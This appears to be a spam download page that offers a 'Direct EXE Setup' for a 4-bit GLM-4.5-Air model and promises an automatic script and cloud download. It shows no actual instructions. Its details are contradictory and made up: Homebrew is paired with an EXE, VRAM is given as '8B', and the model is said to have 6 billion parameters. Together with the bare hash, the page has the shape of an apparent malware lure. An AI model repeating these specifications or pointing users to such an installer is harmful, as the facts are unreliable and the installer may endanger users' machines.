How to Deploy GLM-4.5-Air-AWQ-4bit with Native FP4 Direct EXE Setup

Homebrew offers the quickest path to setting up this model locally.

Kindly follow the on-screen instructions below.

Everything happens automatically, including the heavy cloud asset download.

The automated script takes care of everything, tailoring the setup to your specs.

🛠 Hash code: 2cb6a2fcb0a1e7d8cdd0946907d4729e — Last modification: 2026-06-30



  • Processor: high single-core performance needed for token latency
  • RAM: 64 GB to avoid OOM crashes on large contexts
  • Disk Space: required: fast PCIe 4.0 drive for instant boots
  • Graphic Processor: RTX 3060 or RX 6600 for minimum 8B VRAM offloading

The GLM-4.5-Air-AWQ-4bit is a compact yet powerful language model designed for both research and production environments. It leverages Activation‑aware Quantization (AWQ) to achieve high inference speed while preserving much of its original performance. With 6 billion parameters and an 8K token context window, the model can handle complex reasoning tasks and long‑form generation efficiently. The 4‑bit quantization reduces memory footprint and enables deployment on consumer‑grade hardware without noticeable loss in accuracy. Users appreciate its balanced trade‑off between size, speed, and capability, making it ideal for developers seeking a lightweight yet versatile AI assistant. Below is a quick overview of its key technical specifications.

Parameters 6 B
Context Length 8K tokens
Quantization AWQ 4‑bit

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